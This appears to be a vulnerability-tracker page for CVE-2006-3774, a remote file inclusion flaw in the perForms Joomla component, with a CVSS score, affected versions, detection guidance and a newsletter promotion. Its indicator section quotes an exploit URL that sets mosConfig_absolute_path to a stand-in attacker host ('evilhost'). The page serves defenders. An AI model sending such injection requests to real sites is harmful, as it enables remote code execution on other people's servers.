CVE-2006-3774

published 2006-07-24

CVE-2006-3774: PHP remote file inclusion vulnerability in performs.php in the perForms component (com_performs) 1.0 and earlier for Joomla! allows remote attackers to execute…

Priority P3 40 medium 6.8 CVSS 2.0

AV N AC M Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in performs.php in the perForms component (com_performs) 1.0 and earlier for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
joomla	performs_component	<= 1.0	—

Detection & IOCs extracted from sources · hover to see the quote

url http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost↗

path /components/com_performs/performs.php↗

filename performs.php↗

• → Monitor HTTP requests targeting performs.php with a URL-valued mosConfig_absolute_path parameter, indicating remote file inclusion attempt against the com_performs Joomla component. ↗
• → The exploit was reported to affect approximately 12,000 sites; prioritize scanning for exposed /components/com_performs/performs.php endpoints in web server logs. ↗

• · Vulnerable installations lack the MOS direct-access guard at the top of performs.php; patched versions should include the defined('_VALID_MOS') check, so its absence confirms a vulnerable file. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-94